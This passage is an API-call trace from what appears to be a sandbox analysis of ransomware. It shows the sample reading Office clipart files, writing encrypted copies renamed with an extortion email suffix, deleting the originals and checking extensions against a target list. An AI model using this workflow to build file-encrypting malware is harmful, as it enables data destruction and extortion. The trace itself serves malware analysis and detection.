(hFile=0x1b8) returned 1 [0151.788] CloseHandle (hObject=0x1b8) returned 1 [0151.789] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.789] SetEndOfFile (hFile=0x384) returned 1 [0151.791] CloseHandle (hObject=0x384) returned 1 [0151.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.792] lstrlenW (lpString=".doc") returned 4 [0151.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.792] lstrlenW (lpString=".docx") returned 5 [0151.792] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.792] lstrlenW (lpString=".pdf") returned 4 [0151.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.792] lstrlenW (lpString=".xls") returned 4 [0151.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.792] lstrlenW (lpString=".xlsx") returned 5 [0151.792] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.793] lstrlenW (lpString=".ppt") returned 4 [0151.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString=".zip") returned 4 [0151.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.793] lstrlenW (lpString=".rar") returned 4 [0151.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString=".bz2") returned 4 [0151.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString=".7z") returned 3 [0151.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString=".dbf") returned 4 [0151.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString=".1cd") returned 4 [0151.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString=".jpg") returned 4 [0151.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.793] lstrlenW (lpString=".doc") returned 4 [0151.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString=".docx") returned 5 [0151.793] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.793] lstrlenW (lpString=".pdf") returned 4 [0151.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.793] lstrlenW (lpString=".xls") returned 4 [0151.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.793] lstrlenW (lpString=".xlsx") returned 5 [0151.793] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.793] lstrlenW (lpString=".ppt") returned 4 [0151.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.794] lstrlenW (lpString=".zip") returned 4 [0151.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.794] lstrlenW (lpString=".rar") returned 4 [0151.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.794] lstrlenW (lpString=".bz2") returned 4 [0151.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.794] lstrlenW (lpString=".7z") returned 3 [0151.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.794] lstrlenW (lpString=".dbf") returned 4 [0151.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.794] lstrlenW (lpString=".1cd") returned 4 [0151.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0151.794] lstrlenW (lpString=".jpg") returned 4 [0151.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.794] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.794] lstrlenW (lpString="J0105282.WMF") returned 12 [0151.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.795] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4796) returned 1 [0151.795] CloseHandle (hObject=0x384) returned 1 [0151.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0151.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.796] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.798] GetLastError () returned 0x0 [0151.798] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0151.801] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0151.802] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.802] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.802] SetEndOfFile (hFile=0x1b8) returned 1 [0151.802] CloseHandle (hObject=0x1b8) returned 1 [0151.802] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.802] SetEndOfFile (hFile=0x384) returned 1 [0151.805] CloseHandle (hObject=0x384) returned 1 [0151.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.806] lstrlenW (lpString=".doc") returned 4 [0151.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.806] lstrlenW (lpString=".docx") returned 5 [0151.806] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.806] lstrlenW (lpString=".pdf") returned 4 [0151.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.806] lstrlenW (lpString=".xls") returned 4 [0151.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.806] lstrlenW (lpString=".xlsx") returned 5 [0151.806] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.806] lstrlenW (lpString=".ppt") returned 4 [0151.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.806] lstrlenW (lpString=".zip") returned 4 [0151.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.806] lstrlenW (lpString=".rar") returned 4 [0151.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.806] lstrlenW (lpString=".bz2") returned 4 [0151.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.806] lstrlenW (lpString=".7z") returned 3 [0151.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.806] lstrlenW (lpString=".dbf") returned 4 [0151.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString=".1cd") returned 4 [0151.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString=".jpg") returned 4 [0151.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString=".doc") returned 4 [0151.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString=".docx") returned 5 [0151.807] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.807] lstrlenW (lpString=".pdf") returned 4 [0151.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString=".xls") returned 4 [0151.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.807] lstrlenW (lpString=".xlsx") returned 5 [0151.807] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.807] lstrlenW (lpString=".ppt") returned 4 [0151.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString=".zip") returned 4 [0151.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.807] lstrlenW (lpString=".rar") returned 4 [0151.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString=".bz2") returned 4 [0151.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.807] lstrlenW (lpString=".7z") returned 3 [0151.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.807] lstrlenW (lpString=".dbf") returned 4 [0151.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.808] lstrlenW (lpString=".1cd") returned 4 [0151.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0151.808] lstrlenW (lpString=".jpg") returned 4 [0151.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.808] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.808] lstrlenW (lpString="J0105286.WMF") returned 12 [0151.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.809] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=6568) returned 1 [0151.809] CloseHandle (hObject=0x384) returned 1 [0151.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0151.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.809] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.809] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.810] GetLastError () returned 0x0 [0151.810] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x19a8, lpOverlapped=0x0) returned 1 [0151.816] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0151.817] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.817] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.817] SetEndOfFile (hFile=0x1b8) returned 1 [0151.817] CloseHandle (hObject=0x1b8) returned 1 [0151.818] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.818] SetEndOfFile (hFile=0x384) returned 1 [0151.820] CloseHandle (hObject=0x384) returned 1 [0151.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0151.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.822] lstrlenW (lpString=".doc") returned 4 [0151.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.822] lstrlenW (lpString=".docx") returned 5 [0151.822] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.822] lstrlenW (lpString=".pdf") returned 4 [0151.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.822] lstrlenW (lpString=".xls") returned 4 [0151.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.822] lstrlenW (lpString=".xlsx") returned 5 [0151.822] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.822] lstrlenW (lpString=".ppt") returned 4 [0151.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.822] lstrlenW (lpString=".zip") returned 4 [0151.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.822] lstrlenW (lpString=".rar") returned 4 [0151.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString=".bz2") returned 4 [0151.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString=".7z") returned 3 [0151.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString=".dbf") returned 4 [0151.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString=".1cd") returned 4 [0151.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString=".jpg") returned 4 [0151.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString=".doc") returned 4 [0151.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString=".docx") returned 5 [0151.823] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0151.823] lstrlenW (lpString=".pdf") returned 4 [0151.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString=".xls") returned 4 [0151.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.823] lstrlenW (lpString=".xlsx") returned 5 [0151.823] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0151.823] lstrlenW (lpString=".ppt") returned 4 [0151.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.823] lstrlenW (lpString=".zip") returned 4 [0151.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.824] lstrlenW (lpString=".rar") returned 4 [0151.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.824] lstrlenW (lpString=".bz2") returned 4 [0151.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.824] lstrlenW (lpString=".7z") returned 3 [0151.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.824] lstrlenW (lpString=".dbf") returned 4 [0151.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.824] lstrlenW (lpString=".1cd") returned 4 [0151.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0151.824] lstrlenW (lpString=".jpg") returned 4 [0151.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.824] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.824] lstrlenW (lpString="J0105288.WMF") returned 12 [0151.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.825] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15832) returned 1 [0151.825] CloseHandle (hObject=0x384) returned 1 [0151.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0151.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.826] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.826] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0151.827] GetLastError () returned 0x0 [0151.827] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0151.829] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3de0, lpOverlapped=0x0) returned 1 [0151.830] ReadFile (in: hFile=0x384, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.830] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.830] SetEndOfFile (hFile=0x1b8) returned 1 [0151.831] CloseHandle (hObject=0x1b8) returned 1 [0151.831] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.831] SetEndOfFile (hFile=0x384) returned 1 [0151.833] CloseHandle (hObject=0x384) returned 1 [0151.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0151.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0151.837] lstrlenW 